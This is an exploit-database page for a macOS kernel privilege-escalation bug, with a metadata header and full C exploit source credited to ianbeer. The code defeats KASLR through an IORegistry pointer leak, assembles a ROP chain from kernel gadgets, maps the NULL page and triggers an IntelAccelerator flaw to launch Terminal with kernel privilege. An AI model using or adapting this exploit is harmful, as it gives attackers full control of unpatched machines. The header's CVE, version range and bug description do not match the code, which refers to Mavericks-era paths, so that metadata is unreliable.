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macOS
by:
ianbeer
8.8
CVSS
HIGH
Out-of-Bounds Read
125
CWE
Product Name: macOS
Affected Version From: macOS 10.13.4
Affected Version To: macOS 10.13.6
Patch Exists: YES
Related CWE: CVE-2018-4233
CPE: o:apple:mac_os_x:10.13.6
Tags: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: macOS
2018

Exploit for CVE-2018-4233

This exploit is for CVE-2018-4233, which is an out-of-bounds read vulnerability in the IONDRVSupport kext. The vulnerability allows an attacker to read kernel memory, which can be used to gain kernel code execution. The exploit uses the leaked pointer to calculate the kernel base address and kernel slide, which can then be used to calculate the kernel text base address.

Mitigation:

The vulnerability can be mitigated by updating to the latest version of macOS.
Source

Exploit-DB raw data:

// clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>

uint64_t kernel_symbol(char* sym){
  char cmd[1024];
  strcpy(cmd, "nm -g /mach_kernel | grep ");
  strcat(cmd, sym);
  strcat(cmd, " | cut -d' ' -f1");
  FILE* f = popen(cmd, "r");
  char offset_str[17];
  fread(offset_str, 16, 1, f);
  pclose(f);  
  offset_str[16] = '\x00';

  uint64_t offset = strtoull(offset_str, NULL, 16);
  return offset;
}

uint64_t leaked_offset_in_kext(){
  FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
  char offset_str[17];
  fread(offset_str, 16, 1, f);
  pclose(f);  
  offset_str[16] = '\x00';

  uint64_t offset = strtoull(offset_str, NULL, 16);
  offset += 0x10; //offset from symbol to leaked pointer
  return offset;
}


uint64_t leak(){
  io_iterator_t iter;
  
  CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
                                               kIOServicePlane,
                                               CFSTR("AAPL,iokit-ndrv"),
                                               kCFAllocatorDefault,
                                               kIORegistryIterateRecursively);

  if (CFGetTypeID(p) != CFDataGetTypeID()){
    printf("expected CFData\n");
    return 1;
  }

  if (CFDataGetLength(p) != 8){
    printf("expected 8 bytes\n");
    return 1;
  }

  uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
  return leaked;
}

extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);

uint64_t kext_load_addr(char* target_name){
  uint64_t addr = 0;
  CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
  CFIndex count = CFDictionaryGetCount(kd);
  
  void **keys;
  void **values;
  
  keys = (void **)malloc(sizeof(void *) * count);
  values = (void **)malloc(sizeof(void *) * count);
  
  CFDictionaryGetKeysAndValues(kd,
                               (const void **)keys,
                               (const void **)values);

  for(CFIndex i = 0; i < count; i++){
    const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
    if (strcmp(name, target_name) == 0){
      CFNumberGetValue(CFDictionaryGetValue(values[i],
                       CFSTR("OSBundleLoadAddress")),
                       kCFNumberSInt64Type,
                       &addr);
      printf("%s: 0x%016llx\n", name, addr);
      break;
    }
  }
  return addr;

}

uint64_t load_addr(){
  uint64_t addr = 0;
  CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
  CFIndex count = CFDictionaryGetCount(kd);
  
  void **keys;
  void **values;
  
  keys = (void **)malloc(sizeof(void *) * count);
  values = (void **)malloc(sizeof(void *) * count);
  
  CFDictionaryGetKeysAndValues(kd,
                               (const void **)keys,
                               (const void **)values);

  for(CFIndex i = 0; i < count; i++){
    const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
    if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
      CFNumberGetValue(CFDictionaryGetValue(values[i],
                       CFSTR("OSBundleLoadAddress")),
                       kCFNumberSInt64Type,
                       &addr);
      printf("%s: 0x%016llx\n", name, addr);
      break;
    }
  }
  return addr;
}

uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){
  uint64_t kernel_base = 0xffffff8000200000;
  kernel_base += kaslr_slide;
    
  int fd = open("/mach_kernel", O_RDONLY);
  if (!fd)
    return NULL;

  struct stat _stat;
  fstat(fd, &_stat);
  size_t buf_len = _stat.st_size;

  uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);

  if (!buf)
    return NULL;

  /*
  this stack pivot to rax seems to be reliably present across mavericks versions:
    push rax
    add [rax], eax
    add [rbx+0x41], bl
    pop rsp
    pop r14
    pop r15
    pop rbp
    ret
  */
  uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
  uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
  uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
  printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
  uint64_t pivot = kernel_base + pivot_gadget_offset;

  /*
    pop rdi
    ret
  */
  uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3};
  uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes));
  uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf);
  printf("offset of pop_rdi_ret gadget: %p\n", pop_rdi_ret_gadget_offset);
  uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset;
  
  /*
    pop rsi
    ret
  */
  uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3};
  uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes));
  uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf);
  printf("offset of pop_rsi_ret gadget: %p\n", pop_rsi_ret_gadget_offset);
  uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset;
  
  /*
    pop rdx
    ret
  */
  uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3};
  uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes));
  uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf);
  printf("offset of pop_rdx_ret gadget: %p\n", pop_rdx_ret_gadget_offset);
  uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset;

  munmap(buf, buf_len);
  close(fd);


  /*
    in IOAcceleratorFamily2
    two locks are held - r12 survives the pivot, this should unlock all the locks from there:
__text:0000000000006F80                 lea     rsi, unk_32223
__text:0000000000006F87                 mov     rbx, [r12+118h]
__text:0000000000006F8F                 mov     rax, [rbx]
__text:0000000000006F92                 mov     rdi, rbx
__text:0000000000006F95                 xor     edx, edx
__text:0000000000006F97                 call    qword ptr [rax+858h]
__text:0000000000006F9D                 mov     rdi, rbx        ; this
__text:0000000000006FA0                 call    __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void)
__text:0000000000006FA5                 mov     rdi, [rbx+88h]
__text:0000000000006FAC                 call    _IOLockUnlock
__text:0000000000006FB1
__text:0000000000006FB1 loc_6FB1:                               ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j
__text:0000000000006FB1                 xor     ecx, ecx
__text:0000000000006FB3                 jmp     loc_68BC 
...
__text:00000000000068BC                 mov     eax, ecx        ; jumptable 00000000000067F1 default case
__text:00000000000068BE                 add     rsp, 38h
__text:00000000000068C2                 pop     rbx
__text:00000000000068C3                 pop     r12
__text:00000000000068C5                 pop     r13
__text:00000000000068C7                 pop     r14
__text:00000000000068C9                 pop     r15
__text:00000000000068CB                 pop     rbp
__text:00000000000068CC                 retn
  */
  uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80;

  printf("0x%016llx\n", unlock_locks);

  uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
  uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
  
  //char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator";
  char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal";

  uint64_t rop_stack[] = {
    0,                //pop r14
    0,                //pop r15  
    0,                //pop rbp  +10
    unlock_locks,
    pivot,            //+20  virtual call is rax+20
    0, //+10
    0, //+18
    0,
    0, //+28
    0, 
    0, //+38
    0, //pop rbx
    0, //pop r12
    0, //pop r13
    0, //pop r14
    0, //pop r15
    0, //pop rbp
    pop_rdi_ret,
    (uint64_t)payload,
    pop_rsi_ret,
    0,
    pop_rdx_ret,
    0,
    KUNCExecute,
    thread_exception_return
  };

  uint64_t* r = malloc(sizeof(rop_stack));
  memcpy(r, rop_stack, sizeof(rop_stack));
  *len = sizeof(rop_stack);
  return r;
}

void trigger(void* vtable, size_t vtable_len){
  //need to overallocate and touch the pages since this will be the stack:
  mach_vm_address_t addr = 0x41420000 - 10 * 0x1000;
  mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);

  memset(addr, 0, 0x20*0x1000);
  memcpy((void*)0x41420000, vtable, vtable_len);

  //map NULL page
  vm_deallocate(mach_task_self(), 0x0, 0x1000);
  addr = 0;
  vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  volatile uint64_t* zero = 0;
  *zero = 0x41420000;

  //trigger vuln
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  io_iterator_t iterator;
  kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  
  io_service_t service = IOIteratorNext(iterator);
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 2, &conn);

  addr = 0x12345000;
  mach_vm_size_t size = 0x1000;

  err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere);
}

int main() {
  uint64_t leaked_ptr = leak();
  uint64_t kext_load_addr = load_addr();

  // get the offset of that pointer in the kext:
  uint64_t offset = leaked_offset_in_kext();

  // sanity check the leaked address against the symbol addr:
  if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
    printf("the leaked pointer doesn't match up with the expected symbol offset\n");
    return 1;
  }
  
  uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
  
  printf("kaslr slide: %p\n", kaslr_slide);

  size_t vtable_len = 0;
  void* vtable = build_vtable(kaslr_slide, &vtable_len);

  trigger(vtable, vtable_len);

  return 0;                            
}